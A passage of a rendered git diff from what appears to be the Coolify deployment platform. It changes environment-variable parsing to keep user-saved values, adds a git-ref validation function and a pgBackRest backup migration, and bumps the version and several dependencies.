'docker_registry_image_tag' => 'string|nullable',
|
||||
'install_command' => 'string|nullable',
|
||||
|
|
|
|||
|
|
@ -242,6 +242,10 @@ function deleteEmptyBackupFolder($folderPath, Server $server): void
|
|||
function removeOldBackups($backup): void
|
||||
{
|
||||
try {
|
||||
if ($backup->isPgBackrest()) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ($backup->executions) {
|
||||
// Delete old local backups (only if local backup is NOT disabled)
|
||||
// Note: When disable_local_backup is enabled, each execution already marks its own
|
||||
|
|
|
|||
|
|
@ -442,9 +442,9 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
$value = str($value);
|
||||
$regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/';
|
||||
preg_match_all($regex, $value, $valueMatches);
|
||||
if (count($valueMatches[1]) > 0) {
|
||||
foreach ($valueMatches[1] as $match) {
|
||||
$match = replaceVariables($match);
|
||||
if (count($valueMatches[2]) > 0) {
|
||||
foreach ($valueMatches[2] as $match) {
|
||||
$match = str($match);
|
||||
if ($match->startsWith('SERVICE_')) {
|
||||
if ($magicEnvironments->has($match->value())) {
|
||||
continue;
|
||||
|
|
@ -986,15 +986,17 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
continue;
|
||||
}
|
||||
if ($key->value() === $parsedValue->value()) {
|
||||
$value = null;
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
], [
|
||||
'value' => $value,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$key->value()] = $envVar->value;
|
||||
} else {
|
||||
if ($value->startsWith('$')) {
|
||||
$isRequired = false;
|
||||
|
|
@ -1074,7 +1076,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
} else {
|
||||
// Simple variable reference without default
|
||||
$parsedKeyValue = replaceVariables($value);
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $content,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -1082,8 +1084,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
'is_preview' => false,
|
||||
'is_required' => $isRequired,
|
||||
]);
|
||||
// Add the variable to the environment
|
||||
$environment[$content] = $value;
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$content] = $envVar->value;
|
||||
}
|
||||
} else {
|
||||
// Fallback to old behavior for malformed input (backward compatibility)
|
||||
|
|
@ -1109,7 +1111,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
if ($originalValue->value() === $value->value()) {
|
||||
// This means the variable does not have a default value
|
||||
$parsedKeyValue = replaceVariables($value);
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $parsedKeyValue,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -1117,7 +1119,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
'is_preview' => false,
|
||||
'is_required' => $isRequired,
|
||||
]);
|
||||
$environment[$parsedKeyValue->value()] = $value;
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$parsedKeyValue->value()] = $envVar->value;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
|
@ -1509,6 +1512,18 @@ function serviceParser(Service $resource): Collection
|
|||
return collect([]);
|
||||
}
|
||||
$services = data_get($yaml, 'services', collect([]));
|
||||
|
||||
// Clean up corrupted environment variables from previous parser bugs
|
||||
// (keys starting with $ or ending with } should not exist as env var names)
|
||||
$resource->environment_variables()
|
||||
->where('resourceable_type', get_class($resource))
|
||||
->where('resourceable_id', $resource->id)
|
||||
->where(function ($q) {
|
||||
$q->where('key', 'LIKE', '$%')
|
||||
->orWhere('key', 'LIKE', '%}');
|
||||
})
|
||||
->delete();
|
||||
|
||||
$topLevel = collect([
|
||||
'volumes' => collect(data_get($yaml, 'volumes', [])),
|
||||
'networks' => collect(data_get($yaml, 'networks', [])),
|
||||
|
|
@ -1686,9 +1701,9 @@ function serviceParser(Service $resource): Collection
|
|||
$value = str($value);
|
||||
$regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/';
|
||||
preg_match_all($regex, $value, $valueMatches);
|
||||
if (count($valueMatches[1]) > 0) {
|
||||
foreach ($valueMatches[1] as $match) {
|
||||
$match = replaceVariables($match);
|
||||
if (count($valueMatches[2]) > 0) {
|
||||
foreach ($valueMatches[2] as $match) {
|
||||
$match = str($match);
|
||||
if ($match->startsWith('SERVICE_')) {
|
||||
if ($magicEnvironments->has($match->value())) {
|
||||
continue;
|
||||
|
|
@ -1928,7 +1943,7 @@ function serviceParser(Service $resource): Collection
|
|||
|
||||
} else {
|
||||
$value = generateEnvValue($command, $resource);
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key->value(),
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -2313,16 +2328,18 @@ function serviceParser(Service $resource): Collection
|
|||
continue;
|
||||
}
|
||||
if ($key->value() === $parsedValue->value()) {
|
||||
$value = null;
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
], [
|
||||
'value' => $value,
|
||||
'is_preview' => false,
|
||||
'comment' => $envComments[$originalKey] ?? null,
|
||||
]);
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$key->value()] = $envVar->value;
|
||||
} else {
|
||||
if ($value->startsWith('$')) {
|
||||
$isRequired = false;
|
||||
|
|
@ -2409,7 +2426,8 @@ function serviceParser(Service $resource): Collection
|
|||
}
|
||||
} else {
|
||||
// Simple variable reference without default
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $content,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -2418,6 +2436,8 @@ function serviceParser(Service $resource): Collection
|
|||
'is_required' => $isRequired,
|
||||
'comment' => $envComments[$originalKey] ?? null,
|
||||
]);
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$content] = $envVar->value;
|
||||
}
|
||||
} else {
|
||||
// Fallback to old behavior for malformed input (backward compatibility)
|
||||
|
|
@ -2443,8 +2463,9 @@ function serviceParser(Service $resource): Collection
|
|||
|
||||
if ($originalValue->value() === $value->value()) {
|
||||
// This means the variable does not have a default value
|
||||
// Use firstOrCreate to avoid overwriting user-saved values on redeploy
|
||||
$parsedKeyValue = replaceVariables($value);
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
$envVar = $resource->environment_variables()->firstOrCreate([
|
||||
'key' => $parsedKeyValue,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
@ -2453,12 +2474,13 @@ function serviceParser(Service $resource): Collection
|
|||
'is_required' => $isRequired,
|
||||
'comment' => $envComments[$originalKey] ?? null,
|
||||
]);
|
||||
// Add the variable to the environment so it will be shown in the deployable compose file
|
||||
$environment[$parsedKeyValue->value()] = $value;
|
||||
// Add the variable to the environment using the saved DB value
|
||||
$environment[$parsedKeyValue->value()] = $envVar->value;
|
||||
|
||||
continue;
|
||||
}
|
||||
$resource->environment_variables()->updateOrCreate([
|
||||
// Variable with a default value from compose — use firstOrCreate to preserve user edits
|
||||
$resource->environment_variables()->firstOrCreate([
|
||||
'key' => $key,
|
||||
'resourceable_type' => get_class($resource),
|
||||
'resourceable_id' => $resource->id,
|
||||
|
|
|
|||
|
|
@ -128,6 +128,11 @@ function replaceVariables(string $variable): Stringable
|
|||
return $str->replaceFirst('{', '')->before('}');
|
||||
}
|
||||
|
||||
// Handle bare $VAR format (no braces)
|
||||
if ($str->startsWith('$')) {
|
||||
return $str->replaceFirst('$', '');
|
||||
}
|
||||
|
||||
return $str;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -147,6 +147,39 @@ function validateShellSafePath(string $input, string $context = 'path'): string
|
|||
return $input;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD).
|
||||
*
|
||||
* Prevents command injection by enforcing an allowlist of characters valid for git refs.
|
||||
* Valid: hex SHAs, HEAD, branch/tag names (alphanumeric, dots, hyphens, underscores, slashes).
|
||||
*
|
||||
* @param string $input The git ref to validate
|
||||
* @param string $context Descriptive name for error messages
|
||||
* @return string The validated input (trimmed)
|
||||
*
|
||||
* @throws \Exception If the input contains disallowed characters
|
||||
*/
|
||||
function validateGitRef(string $input, string $context = 'git ref'): string
|
||||
{
|
||||
$input = trim($input);
|
||||
|
||||
if ($input === '' || $input === 'HEAD') {
|
||||
return $input;
|
||||
}
|
||||
|
||||
// Must not start with a hyphen (git flag injection)
|
||||
if (str_starts_with($input, '-')) {
|
||||
throw new \Exception("Invalid {$context}: must not start with a hyphen.");
|
||||
}
|
||||
|
||||
// Allow only alphanumeric characters, dots, hyphens, underscores, and slashes
|
||||
if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) {
|
||||
throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed.");
|
||||
}
|
||||
|
||||
return $input;
|
||||
}
|
||||
|
||||
function generate_readme_file(string $name, string $updated_at): string
|
||||
{
|
||||
$name = sanitize_string($name);
|
||||
|
|
@ -3808,6 +3841,55 @@ function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $compon
|
|||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a path from the SSH target perspective to the Docker host perspective.
|
||||
*
|
||||
* In dev mode, SSH commands run in coolify-testing-host where the volume is mounted
|
||||
* at /data/coolify, but Docker Compose runs on the host where the same volume is at
|
||||
* /var/lib/docker/volumes/coolify_dev_coolify_data/_data.
|
||||
*/
|
||||
function convertPathToDockerHost(string $path): string
|
||||
{
|
||||
if (isDev()) {
|
||||
static $volumePath = null;
|
||||
if ($volumePath === null) {
|
||||
$volumePath = discoverDevCoolifyVolumePath();
|
||||
}
|
||||
|
||||
return str_replace('/data/coolify', $volumePath, $path);
|
||||
}
|
||||
|
||||
return $path;
|
||||
}
|
||||
|
||||
function discoverDevCoolifyVolumePath(): string
|
||||
{
|
||||
$fallback = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data';
|
||||
|
||||
try {
|
||||
$server = \App\Models\Server::find(0);
|
||||
if ($server) {
|
||||
$output = instant_remote_process(
|
||||
["cat /proc/self/mountinfo | grep '/data/coolify ' | head -1"],
|
||||
$server,
|
||||
false,
|
||||
false,
|
||||
10,
|
||||
disableMultiplexing: true
|
||||
);
|
||||
if (preg_match('#(/var/lib/docker/volumes/[^/]+_dev_coolify_data/_data)\s+/data/coolify#', $output, $matches)) {
|
||||
return $matches[1];
|
||||
}
|
||||
if (preg_match('#/docker/volumes/([^/]+_dev_coolify_data)/_data\s+/data/coolify#', $output, $matches)) {
|
||||
return '/var/lib/docker/volumes/'.$matches[1].'/_data';
|
||||
}
|
||||
}
|
||||
} catch (Throwable $e) {
|
||||
}
|
||||
|
||||
return $fallback;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract hard-coded environment variables from docker-compose YAML.
|
||||
*
|
||||
|
|
|
|||
18
composer.lock
generated
18
composer.lock
generated
|
|
@ -2663,16 +2663,16 @@
|
|||
},
|
||||
{
|
||||
"name": "league/commonmark",
|
||||
"version": "2.8.0",
|
||||
"version": "2.8.1",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/thephpleague/commonmark.git",
|
||||
"reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb"
|
||||
"reference": "84b1ca48347efdbe775426f108622a42735a6579"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/4efa10c1e56488e658d10adf7b7b7dcd19940bfb",
|
||||
"reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb",
|
||||
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579",
|
||||
"reference": "84b1ca48347efdbe775426f108622a42735a6579",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
|
|
@ -2697,9 +2697,9 @@
|
|||
"phpstan/phpstan": "^1.8.2",
|
||||
"phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0",
|
||||
"scrutinizer/ocular": "^1.8.1",
|
||||
"symfony/finder": "^5.3 | ^6.0 | ^7.0",
|
||||
"symfony/process": "^5.4 | ^6.0 | ^7.0",
|
||||
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0",
|
||||
"symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0",
|
||||
"symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0",
|
||||
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0",
|
||||
"unleashedtech/php-coding-standard": "^3.1.1",
|
||||
"vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0"
|
||||
},
|
||||
|
|
@ -2766,7 +2766,7 @@
|
|||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-26T21:48:24+00:00"
|
||||
"time": "2026-03-05T21:37:03+00:00"
|
||||
},
|
||||
{
|
||||
"name": "league/config",
|
||||
|
|
@ -17209,5 +17209,5 @@
|
|||
"php": "^8.4"
|
||||
},
|
||||
"platform-dev": {},
|
||||
"plugin-api-version": "2.6.0"
|
||||
"plugin-api-version": "2.9.0"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2,9 +2,9 @@
|
|||
|
||||
return [
|
||||
'coolify' => [
|
||||
'version' => '4.0.0-beta.464',
|
||||
'version' => '4.0.0-beta.465',
|
||||
'helper_version' => '1.0.12',
|
||||
'realtime_version' => '1.0.10',
|
||||
'realtime_version' => '1.0.11',
|
||||
'self_hosted' => env('SELF_HOSTED', true),
|
||||
'autoupdate' => env('AUTOUPDATE'),
|
||||
'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'),
|
||||
|
|
|
|||
110
database/migrations/2025_12_09_231049_add_pgbackrest_support.php
Normal file
110
database/migrations/2025_12_09_231049_add_pgbackrest_support.php
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('scheduled_database_backups', function (Blueprint $table) {
|
||||
$table->string('engine')->default('native')->index()->after('enabled');
|
||||
$table->string('pgbackrest_backup_type')->nullable()->after('engine');
|
||||
$table->string('pgbackrest_compress_type')->nullable()->after('pgbackrest_backup_type');
|
||||
$table->unsignedTinyInteger('pgbackrest_compress_level')->nullable()->after('pgbackrest_compress_type');
|
||||
$table->string('pgbackrest_log_level')->nullable()->after('pgbackrest_compress_level');
|
||||
$table->string('pgbackrest_archive_mode')->nullable()->after('pgbackrest_log_level');
|
||||
});
|
||||
|
||||
Schema::table('scheduled_database_backup_executions', function (Blueprint $table) {
|
||||
$table->string('engine')->nullable()->index()->after('status');
|
||||
$table->string('pgbackrest_backup_type')->nullable()->after('engine');
|
||||
$table->string('pgbackrest_label')->nullable()->after('pgbackrest_backup_type');
|
||||
$table->string('pgbackrest_stanza')->nullable()->after('pgbackrest_label');
|
||||
$table->unsignedBigInteger('pgbackrest_repo_size')->nullable()->after('pgbackrest_stanza');
|
||||
});
|
||||
|
||||
Schema::create('pgbackrest_repos', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('uuid')->unique();
|
||||
|
||||
$table->foreignId('scheduled_database_backup_id')
|
||||
->constrained('scheduled_database_backups')
|
||||
->cascadeOnDelete();
|
||||
|
||||
$table->unsignedTinyInteger('repo_number')->default(1);
|
||||
|
||||
$table->string('type')->default('posix');
|
||||
|
||||
$table->string('path')->nullable();
|
||||
$table->foreignId('s3_storage_id')
|
||||
->nullable()
|
||||
->constrained('s3_storages')
|
||||
->nullOnDelete();
|
||||
|
||||
$table->string('retention_full_type')->default('count');
|
||||
$table->unsignedInteger('retention_full')->default(2);
|
||||
$table->unsignedInteger('retention_diff')->default(7);
|
||||
$table->boolean('enabled')->default(true);
|
||||
|
||||
$table->timestamps();
|
||||
|
||||
$table->unique(['scheduled_database_backup_id', 'repo_number']);
|
||||
});
|
||||
|
||||
Schema::create('database_restores', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('uuid')->unique();
|
||||
|
||||
$table->morphs('database');
|
||||
|
||||
$table->foreignId('scheduled_database_backup_execution_id')
|
||||
->nullable()
|
||||
->constrained('scheduled_database_backup_executions')
|
||||
->nullOnDelete();
|
||||
|
||||
$table->string('engine')->default('pgbackrest');
|
||||
$table->string('target_label')->nullable();
|
||||
$table->timestamp('target_time')->nullable();
|
||||
|
||||
$table->string('status')->default('pending');
|
||||
$table->index('status');
|
||||
$table->longText('message')->nullable();
|
||||
$table->longText('log')->nullable();
|
||||
|
||||
$table->timestamps();
|
||||
$table->timestamp('finished_at')->nullable();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('database_restores', function (Blueprint $table) {
|
||||
$table->dropIndex(['status']);
|
||||
});
|
||||
Schema::dropIfExists('database_restores');
|
||||
Schema::dropIfExists('pgbackrest_repos');
|
||||
|
||||
Schema::table('scheduled_database_backup_executions', function (Blueprint $table) {
|
||||
$table->dropColumn([
|
||||
'engine',
|
||||
'pgbackrest_backup_type',
|
||||
'pgbackrest_label',
|
||||
'pgbackrest_stanza',
|
||||
'pgbackrest_repo_size',
|
||||
]);
|
||||
});
|
||||
|
||||
Schema::table('scheduled_database_backups', function (Blueprint $table) {
|
||||
$table->dropColumn([
|
||||
'engine',
|
||||
'pgbackrest_backup_type',
|
||||
'pgbackrest_compress_type',
|
||||
'pgbackrest_compress_level',
|
||||
'pgbackrest_log_level',
|
||||
'pgbackrest_archive_mode',
|
||||
]);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
|
@ -73,6 +73,7 @@ services:
|
|||
volumes:
|
||||
- ./storage:/var/www/html/storage
|
||||
- ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js
|
||||
- ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js
|
||||
environment:
|
||||
SOKETI_DEBUG: "false"
|
||||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
|
||||
|
|
|
|||
|
|
@ -73,6 +73,7 @@ services:
|
|||
volumes:
|
||||
- ./storage:/var/www/html/storage
|
||||
- ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js
|
||||
- ./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js
|
||||
environment:
|
||||
SOKETI_DEBUG: "false"
|
||||
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
|
||||
|
|
|
|||
|
|
@ -60,7 +60,7 @@ services:
|
|||
retries: 10
|
||||
timeout: 2s
|
||||
soketi:
|
||||
image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.10'
|
||||
image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.11'
|
||||
ports:
|
||||
- "${SOKETI_PORT:-6001}:6001"
|
||||
- "6002:6002"
|
||||
|
|
|
|||
|
|
@ -16,6 +16,7 @@ RUN npm i
|
|||
RUN npm rebuild node-pty --update-binary
|
||||
COPY docker/coolify-realtime/soketi-entrypoint.sh /soketi-entrypoint.sh
|
||||
COPY docker/coolify-realtime/terminal-server.js /terminal/terminal-server.js
|
||||
COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js
|
||||
|
||||
# Install Cloudflared based on architecture
|
||||
RUN if [ "${TARGETPLATFORM}" = "linux/amd64" ]; then \
|
||||
|
|
|
|||
96
docker/coolify-realtime/package-lock.json
generated
96
docker/coolify-realtime/package-lock.json
generated
|
|
@ -5,29 +5,29 @@
|
|||
"packages": {
|
||||
"": {
|
||||
"dependencies": {
|
||||
"@xterm/addon-fit": "0.10.0",
|
||||
"@xterm/xterm": "5.5.0",
|
||||
"axios": "1.12.0",
|
||||
"cookie": "1.0.2",
|
||||
"dotenv": "16.5.0",
|
||||
"node-pty": "1.0.0",
|
||||
"ws": "8.18.1"
|
||||
"@xterm/addon-fit": "0.11.0",
|
||||
"@xterm/xterm": "6.0.0",
|
||||
"axios": "1.13.6",
|
||||
"cookie": "1.1.1",
|
||||
"dotenv": "17.3.1",
|
||||
"node-pty": "1.1.0",
|
||||
"ws": "8.19.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@xterm/addon-fit": {
|
||||
"version": "0.10.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.10.0.tgz",
|
||||
"integrity": "sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@xterm/xterm": "^5.0.0"
|
||||
}
|
||||
"version": "0.11.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz",
|
||||
"integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@xterm/xterm": {
|
||||
"version": "5.5.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz",
|
||||
"integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==",
|
||||
"license": "MIT"
|
||||
"version": "6.0.0",
|
||||
"resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz",
|
||||
"integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==",
|
||||
"license": "MIT",
|
||||
"workspaces": [
|
||||
"addons/*"
|
||||
]
|
||||
},
|
||||
"node_modules/asynckit": {
|
||||
"version": "0.4.0",
|
||||
|
|
@ -36,13 +36,13 @@
|
|||
"license": "MIT"
|
||||
},
|
||||
"node_modules/axios": {
|
||||
"version": "1.12.0",
|
||||
"resolved": "https://registry.npmjs.org/axios/-/axios-1.12.0.tgz",
|
||||
"integrity": "sha512-oXTDccv8PcfjZmPGlWsPSwtOJCZ/b6W5jAMCNcfwJbCzDckwG0jrYJFaWH1yvivfCXjVzV/SPDEhMB3Q+DSurg==",
|
||||
"version": "1.13.6",
|
||||
"resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz",
|
||||
"integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"follow-redirects": "^1.15.6",
|
||||
"form-data": "^4.0.4",
|
||||
"follow-redirects": "^1.15.11",
|
||||
"form-data": "^4.0.5",
|
||||
"proxy-from-env": "^1.1.0"
|
||||
}
|
||||
},
|
||||
|
|
@ -72,12 +72,16 @@
|
|||
}
|
||||
},
|
||||
"node_modules/cookie": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz",
|
||||
"integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==",
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",
|
||||
"integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=18"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/express"
|
||||
}
|
||||
},
|
||||
"node_modules/delayed-stream": {
|
||||
|
|
@ -90,9 +94,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/dotenv": {
|
||||
"version": "16.5.0",
|
||||
"resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.5.0.tgz",
|
||||
"integrity": "sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg==",
|
||||
"version": "17.3.1",
|
||||
"resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.3.1.tgz",
|
||||
"integrity": "sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA==",
|
||||
"license": "BSD-2-Clause",
|
||||
"engines": {
|
||||
"node": ">=12"
|
||||
|
|
@ -161,9 +165,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/follow-redirects": {
|
||||
"version": "1.15.9",
|
||||
"resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
|
||||
"integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
|
||||
"version": "1.15.11",
|
||||
"resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz",
|
||||
"integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "individual",
|
||||
|
|
@ -181,9 +185,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/form-data": {
|
||||
"version": "4.0.4",
|
||||
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",
|
||||
"integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==",
|
||||
"version": "4.0.5",
|
||||
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz",
|
||||
"integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"asynckit": "^0.4.0",
|
||||
|
|
@ -323,20 +327,20 @@
|
|||
"node": ">= 0.6"
|
||||
}
|
||||
},
|
||||
"node_modules/nan": {
|
||||
"version": "2.23.0",
|
||||
"resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz",
|
||||
"integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==",
|
||||
"node_modules/node-addon-api": {
|
||||
"version": "7.1.1",
|
||||
"resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
|
||||
"integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/node-pty": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz",
|
||||
"integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==",
|
||||
"version": "1.1.0",
|
||||
"resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz",
|
||||
"integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==",
|
||||
"hasInstallScript": true,
|
||||
"license": "MIT",
|
||||
